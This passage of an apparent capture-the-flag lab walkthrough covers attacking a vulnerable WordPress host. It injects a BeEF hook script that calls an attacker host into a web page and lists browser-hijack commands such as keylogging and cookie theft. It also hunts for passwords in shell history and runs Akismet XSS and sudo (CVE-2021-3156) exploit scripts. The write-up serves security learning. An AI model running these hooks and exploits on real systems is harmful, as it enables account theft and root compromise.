&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# nikto scan on 12380&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nikto -h https://192.168.201.148:12380 -ssl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# or gobuster directory scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Step 5: BeEF control after victim triggers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here I&amp;rsquo;m pretending to be John (password cracked from the blog system hash cracking section) — first in the list, likely the admin — to simulate a victim clicking the XSS:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184556515.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184626831.png"&gt;&lt;/p&gt;
&lt;p&gt;Seemed useless. So I directly modified admin112233&amp;rsquo;s index.html to verify.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Modify index.html to inject BeEF hook&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Using root account here just for verification and simulation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# In a real engagement, check if you have write permissions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /var/www/https/admin112233/index.html &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;title&amp;gt;mwwhahahah&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;noscript&amp;gt;Give yourself a cookie! Javascript didn&amp;#39;t run =)&amp;lt;/noscript&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;script type=&amp;#34;text/javascript&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;window.alert(&amp;#34;This could of been a BeEF-XSS hook ;)&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;script src=&amp;#34;http://192.168.45.187:3000/hook.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315190337308.png"&gt;&lt;/p&gt;
&lt;p&gt;Simulate victim access (in Kali browser) at https://192.168.201.148:12380/admin112233/ — ignore the certificate warning and proceed. BeEF control panel should show an online zombie. Note the page is &lt;strong&gt;https&lt;/strong&gt; but hook.js is &lt;strong&gt;http&lt;/strong&gt; — the browser may block due to mixed content. Click to allow insecure content in the browser address bar, or convert the hook to https.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315185751149.png"&gt;&lt;/p&gt;
&lt;p&gt;If still not working, modify browser settings (simulating a victim&amp;rsquo;s unsafe browser configuration):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Type in Firefox address bar
about:config 
# Search for 
security.mixed_content.block_active_content 
# Set to false
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315191834276.png"&gt;&lt;/p&gt;
&lt;p&gt;Once a browser visits a page containing hook.js, the BeEF control panel shows an online zombie. Available commands include:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Commands panel can execute:
├── Get Cookie (check if HttpOnly prevents theft)
├── Keylogging
├── Screenshots
├── Internal network recon (scan internal hosts)
├── Get browser info, saved passwords
├── Social engineering popups (fake login forms for credential theft)
└── Redirect to phishing pages
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315192539539.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Actual value on this machine:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;XSS → Steal admin Cookie
 → Forge admin login to WordPress backend
 → Upload malicious plugin/theme → webshell
 → Escalate from www-data
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a complete XSS → RCE chain requiring no initial credentials.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315193121473.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315193146321.png"&gt;&lt;/p&gt;
&lt;p&gt;Since this is a lab environment, both attacker and victim roles were played by me.&lt;/p&gt;
&lt;h3 id="finding-which-fool-logged-in-with-plaintext-ssh"&gt;Finding Which Fool Logged in with Plaintext SSH
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;sshpass&amp;#34;&lt;/span&gt; /home/*/.bash_history 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The output shows the file path, e.g. &lt;code&gt;/home/someuser/.bash_history:sshpass -p ...&lt;/code&gt;. The username in the path is the leaker.&lt;/p&gt;
&lt;p&gt;More comprehensive search:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;sshpass\|password\|passwd&amp;#34;&lt;/span&gt; /home/*/.bash_history 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315123600775.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124147475.png"&gt;&lt;/p&gt;
&lt;p&gt;It was you, JKanode! lmao. Beyond &lt;code&gt;.bash_history&lt;/code&gt;, you can also check:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Recent login records&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;last JKanode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Failed login records&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;lastb JKanode 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Last login time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;lastlog &lt;span class="p"&gt;|&lt;/span&gt; grep JKanode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Current/recent terminal activity&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;who
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Process history (if audited)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;cat /var/log/auth.log &lt;span class="p"&gt;|&lt;/span&gt; grep JKanode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;.bash_history&lt;/code&gt; already reveals this user&amp;rsquo;s problem — typing passwords in plaintext on the command line (&lt;code&gt;sshpass -p&lt;/code&gt;). In a real environment, this is a serious operational security failure: passwords are permanently saved in the history file, and during &lt;code&gt;ps aux&lt;/code&gt; execution other users can also see the plaintext password in the process arguments.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124258020.png"&gt;&lt;/p&gt;
&lt;p&gt;After privilege escalation, the following was also discovered:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124319027.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315123953187.png"&gt;&lt;/p&gt;
&lt;p&gt;From &lt;code&gt;ps aux&lt;/code&gt;, several interesting findings:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Root is running nc listening on port 666&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root 1515 nc -nlvp 666
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Connecting directly might give a root shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc 127.0.0.1 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. Root is running two suspicious scripts&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root 1501 /bin/bash /root/python.sh
root 1503 /bin/bash /usr/local/src/nc.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If these scripts can be read/written, privilege escalation is possible. Check permissions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls -al /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124753257.png"&gt;&lt;/p&gt;
&lt;p&gt;Port 666 was also checked — just a useless image.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. JKanode has never logged in (&lt;code&gt;Never logged in&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But their home directory is running &lt;code&gt;SimpleHTTPServer 8888&lt;/code&gt;, meaning root started it as JKanode — this account is a &amp;ldquo;service account&amp;rdquo;. The password in history was left by someone else&amp;rsquo;s operations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Overview of open services&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:80&lt;/code&gt; — php -S (www user)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:8888&lt;/code&gt; — python SimpleHTTPServer (JKanode)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:666&lt;/code&gt; — nc listening as root ← most suspicious&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sshd/vsftpd/smbd/mysql&lt;/code&gt; — standard services&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Port 666 should be investigated first.&lt;/p&gt;
&lt;h4 id="port-666-discovery"&gt;Port 666 Discovery
&lt;/h4&gt;&lt;p&gt;For unknown service ports, use nc for probing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc 172.168.169.129 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102453354.png"&gt;&lt;/p&gt;
&lt;p&gt;Output is garbled, but the text &lt;code&gt;message2.jpg&lt;/code&gt; is clearly visible.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc 192.168.179.149 666 &amp;gt; message_666
file message_666 // discovered to be a zip archive
unzip message_666
view message2.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102729976.png"&gt;&lt;/p&gt;
&lt;p&gt;Nothing useful — just a new user appearing in the image. But later, LinPEAS analysis revealed it can be combined with the cron job. &lt;a class="link" href="#port-666-rabbit-hole-becomes-a-real-hole" &gt;See Port 666 Rabbit Hole Becomes a Real Hole&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="smb-open-shares"&gt;SMB Open Shares
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;smbclient -N //172.168.169.129/tmp
smbclient -N //172.168.169.129/tmp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315091904843.png"&gt;&lt;/p&gt;
&lt;h3 id="easter-egg-new-users"&gt;Easter Egg New Users
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314150537141.png"&gt;&lt;/p&gt;
&lt;p&gt;Discovered new user Barry.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145135934.png"&gt;&lt;/p&gt;
&lt;p&gt;Found another new person &lt;code&gt;Abby&lt;/code&gt; — not previously seen among SSH and FTP usernames.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145255149.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145442331.png"&gt;&lt;/p&gt;
&lt;p&gt;Another new person, also from the title: &lt;code&gt;Tim&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316104118970.png"&gt;&lt;/p&gt;
&lt;p&gt;Accidentally got hit by a cringe love song — lol.&lt;/p&gt;
&lt;p&gt;Hello Dolly is a default Easter egg plugin bundled with WordPress, personally written by Matt Mullenweg (WordPress founder). Every time you enter the admin backend, it randomly displays a lyric from the song in the top right corner.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316104626674.png"&gt;&lt;/p&gt;
&lt;p&gt;And it&amp;rsquo;s actually there&amp;hellip;&lt;/p&gt;
&lt;h3 id="akismet-plugin-xss-vulnerability"&gt;Akismet Plugin XSS Vulnerability
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101126001.png"&gt;&lt;/p&gt;
&lt;p&gt;Both vulnerabilities are &lt;strong&gt;stored XSS&lt;/strong&gt;, but have limited practical value. Analysis:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;37902.php — legacy.php XSS&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Run directly — targeting WordPress comment injection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;php 37902.php 172.168.169.131:12380/blogblog
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The principle is to POST an XSS payload to &lt;code&gt;/wp-content/plugins/akismet/legacy.php&lt;/code&gt; — the payload is stored in comments and triggers when the admin reviews them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;30036.html — Admin config page XSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This requires admin privileges to access &lt;code&gt;/wp-admin/plugins.php&lt;/code&gt;. Open the HTML file directly in a browser and submit the form to trigger the backend XSS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reality check:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# First confirm if legacy.php exists&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The plugin directory returns 403 — legacy.php likely doesn&amp;rsquo;t exist in newer versions. This vulnerability is essentially unusable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it&amp;rsquo;s irrelevant to this machine:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You already have root. The ultimate goal of these XSS vulnerabilities is merely to steal admin cookies and log into the backend — far less direct than the &lt;code&gt;advanced-video-embed&lt;/code&gt; plugin (arbitrary file read) which can directly read &lt;code&gt;wp-config.php&lt;/code&gt; for the database password.&lt;/p&gt;
&lt;p&gt;Continuing with the &lt;code&gt;39646.py&lt;/code&gt; path is more valuable.&lt;/p&gt;
&lt;h3 id="shortcode-ui-and-two-factor-plugins-have-no-applicable-vulnerabilities"&gt;shortcode-ui and two-factor Plugins Have No Applicable Vulnerabilities
&lt;/h3&gt;&lt;p&gt;No matching exploitable vulnerabilities found.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101414751.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101542958.png"&gt;&lt;/p&gt;
&lt;h3 id="search-box-sql-injection-failed"&gt;Search Box SQL Injection Failed
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101931189.png"&gt;&lt;/p&gt;
&lt;h3 id="cve-2021-3156-privilege-escalation-failed"&gt;CVE-2021-3156 Privilege Escalation Failed
&lt;/h3&gt;&lt;p&gt;From LinPEAS results fed to AI for analysis — &lt;code&gt;malloc(): memory corruption&lt;/code&gt; + core dump = vulnerability exists and can be exploited:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Download PoC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;unzip baron.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2021-3156-main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# This machine is i386 architecture — choose the corresponding version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;python3 exploit_nss.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113422663.png"&gt;&lt;/p&gt;
&lt;p&gt;glibc version too old (Ubuntu 16.04 uses 2.23). This PoC doesn&amp;rsquo;t apply. Try a version that doesn&amp;rsquo;t depend on tcache:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Try blasty&amp;#39;s version&lt;/span&gt;
